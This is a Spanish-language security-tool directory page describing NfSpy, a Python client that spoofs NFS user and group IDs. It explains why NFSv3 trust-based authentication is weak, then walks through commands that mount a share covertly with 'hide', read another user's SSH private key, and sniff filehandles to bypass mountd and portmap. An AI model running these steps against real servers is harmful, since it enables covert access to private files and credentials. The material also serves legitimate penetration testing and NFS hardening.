Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
NfSpy — Cliente NFS de suplantación de ID | Kitploit
Herramientas/GitHubGitHub/bonsaiviking/nfspy
Escalada de PrivilegiosExplotaciónRecopilación de InformaciónSeguridad de RedesPruebas de PenetraciónAutenticaciónRed Teaming
GitHubbonsaiviking/nfspy

NfSpy

Cliente NFS de suplantación de ID

Ver Repositorio
29856hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

NfSpy - un cliente NFS de falsificación de ID

por Daniel Miller

NfSpy es una biblioteca de Python para automatizar la falsificación de credenciales NFS al montar un recurso compartido NFS. Se incluyen dos programas cliente:

  • nfspy utiliza la biblioteca Filesystem in Userspace (FUSE) para montar un recurso compartido NFS en Linux. Esto permite utilizar cualquier programa habitual de búsqueda y manipulación de archivos como grep y find para explorar la exportación NFS.

  • nfspysh es un shell interactivo de tipo ftp para explorar exportaciones NFS. No requiere la biblioteca FUSE, por lo que puede ejecutarse en plataformas que no sean Linux.

Vulnerabilidad explotada

NFS anterior a la versión 4 depende de las relaciones de confianza entre hosts para la autenticación. El servidor NFS confía en que cualquier máquina cliente autentique a los usuarios y asigne los mismos ID de usuario (UID) que utiliza el sistema de archivos compartido. Esto funciona, por ejemplo, en dominios NIS, NIS+ y LDAP, pero solo si se sabe que la máquina cliente no está comprometida ni está falsificando su identidad. Esto se debe a que la única autenticación en el protocolo NFS es el paso de UID y GID (ID de grupo). Hay algunas cosas que se pueden hacer para mejorar la seguridad de NFS, pero muchas de ellas son soluciones incompletas, e incluso con las tres que se enumeran aquí, aún sería posible evitar las medidas de seguridad.

Squash root

El servidor o el recurso compartido ("export" en la jerga de NFS) puede configurarse con root_squash, lo que significa que cualquier solicitud que llegue afirmando ser UID o GID 0 (root) será tratada como el usuario nobody, o equivalente en el sistema. Esto no impide que un atacante falsifique cualquier otra combinación UID/GID, pero protegerá la información y las configuraciones más sensibles de la exportación.

nfs_portmon

Otro ajuste que se puede habilitar es nfs_portmon, que deniega las solicitudes procedentes de puertos de origen fuera del rango 513-1024. Dado que normalmente solo root puede asignar estos puertos, esto impide que un usuario normal de una máquina de confianza escriba y utilice su propio cliente NFS que falsifique UID/GID. No hace nada para impedir que un host malicioso, un usuario con permisos su o una máquina comprometida a nivel de root haga lo mismo.

Restricciones de exportación

Los recursos compartidos/exportaciones se pueden controlar para que solo ciertas máquinas puedan acceder a ellos. Estas listas de control de acceso pueden consistir en:

  • Direcciones IP (p. ej., 192.168.1.34)
  • Prefijos IP (p. ej., @192.168.1)
  • Nombres de host (p. ej., server1.mydom.nis)
  • Listas de hosts (p. ej., @trusted_hosts)
  • "todos"

La mejor configuración sería utilizar una lista de hosts, ya que consultar el demonio nfs solo devolverá el nombre de la lista, no qué direcciones o nombres contiene. Le seguirían las direcciones IP o los nombres de host, ya que son más difíciles de falsificar. Los prefijos IP y "todos" son indicadores de inseguridad, ya que hay poca o ninguna restricción sobre qué direcciones pueden conectarse.

Uso de NfSpy

Se puede ver una lista de opciones ejecutando

root@kitploit:~
nfspy --help

Ejemplo

Hay un servidor NFS en 192.168.1.124.

root@kitploit:~
$ showmount -e 192.168.1.124
Export list for 192.168.1.124:
/home (everyone)

Monta el recurso compartido. Usar sudo te permite enlazar un puerto privilegiado, y la opción allow_other permite que cualquier usuario use el sistema de archivos. La otra opción nueva aquí es "hide", que inmediatamente "desmonta" el recurso compartido en el servidor, pero conserva el filehandle que obtuvo. Esto oculta tu presencia de cualquiera que use showmount -a

root@kitploit:~
$ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt

¡Disfruta de tu nueva libertad!

root@kitploit:~
$ cd /mnt
/mnt$ ls -l
drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
/mnt$ cd smithj
/mnt/smithj$ cat .ssh/id.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
<snip>

Para desmontar, usa fusermount:

root@kitploit:~
$ sudo fusermount -u /mnt

Ejemplo avanzado

Hay un servidor NFS en 192.168.1.124. Portmap está bloqueado, por lo que no puedes obtener una lista de recursos compartidos, pero puedes esnifar el tráfico de red.

root@kitploit:~
$ sudo tshark -n -i eth0 -T fields -e nfs.fhandle
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
01:00:04:00:01:00:22:00:e5:03:d8:9d:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00

^C3 packets captured

Ahora usa las opciones de montaje dirhandle y getroot para evitar usar el demonio de montaje, y usa la opción nfsport para evitar usar el portmapper, recorriendo el árbol de directorios hasta la raíz de la exportación.

root@kitploit:~
$ sudo nfspy -o rw,server=192.168.1.124:,nfsport=2049/udp,dirhandle=01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00,getroot mnt

Observa que no proporcionamos una ruta de montaje, ya que todo lo que sabemos es el filehandle NFS. Para que esto funcione, el manejador debe ser de un directorio, no de un archivo, y tienes que trabajar rápido o el manejador quedará obsoleto.

El programa tshark forma parte del proyecto Wireshark. El conocido programa tcpdump también tiene la capacidad de decodificar filehandles NFS con la opción -u:

root@kitploit:~
sudo tcpdump -n -i eth1 -u -- port 2049
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
11:16:38.041242 IP 192.168.1.5.3057978128 > 192.168.1.124.2049: 120 getattr fh[2070001:762001:0:7500c611:a04186e6:edccffaa:1a0a608e:a065:500859ff:762001:adebb708]

Estos filehandles son valores de 4 bytes separados por dos puntos, por lo que tendrás que rellenarlos con ceros por tu cuenta; NfSpy simplemente eliminará los dos puntos, lo cual es incorrecto.

Uso de nfspysh

nfspysh acepta el mismo conjunto básico de opciones y en el mismo formato que nfspy, por lo que el tutorial anterior debería funcionar bien. La lista de comandos se puede ver con el comando "help".

root@kitploit:~
$ sudo PYTHONPATH=. python scripts/nfspysh -o server=127.0.0.1:/home/miller/nfs
[email protected]:/home/miller/nfs:/> ls
/:
040775  1000  1000       4096 2013-04-13 23:20:37 .
040775  1000  1000       4096 2013-04-13 23:20:37 ..
040775  1000  1000       4096 2013-04-11 06:36:48 public
040775  1000  1000       4096 2013-04-13 23:26:40 more
040700     0  1000       4096 2013-04-11 06:39:12 secrets
100666  1000  1000          5 2013-04-13 23:28:02 README.md
120777  1000  1000         21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap
[email protected]:/home/miller/nfs:/more> help
Known commands:
    cd
    chmod
    chown
    exit
    get
    help
    lcd
    lpwd
    ls
    mkdir
    mv
    put
    pwd
    rm
    rmdir
    umask
[email protected]:/home/miller/nfs:/more> help get
get <filename> [<localname>]

        Retrieve <filename> and save to <localname>. If no <localname> is given,
        defaults to the basename of <filename> in the current local working directory.
[email protected]:/home/miller/nfs:/more> exit
Quitting.

ERRORES

  • El acceso de escritura está en beta. Ha funcionado en mis pruebas en un puñado de sistemas, pero podría necesitar más pruebas. Debido a esto, NfSpy monta por defecto en modo ro. Especifica la opción de montaje rw para cambiar esto. (nfspysh no tiene un modo de solo lectura. ¡Ten cuidado!)

  • NfSpy no funciona con los servicios estándar lockd y statd, lo que podría causar problemas al escribir archivos. Sin embargo, para solo lectura y para la mayoría de los usos malintencionados para los que fue diseñado, esto no debería ser un problema.

  • NfSpy solo es compatible con NFSv3 por ahora. Las versiones futuras podrían elegir inteligentemente una versión de NFS.

Descargar herramienta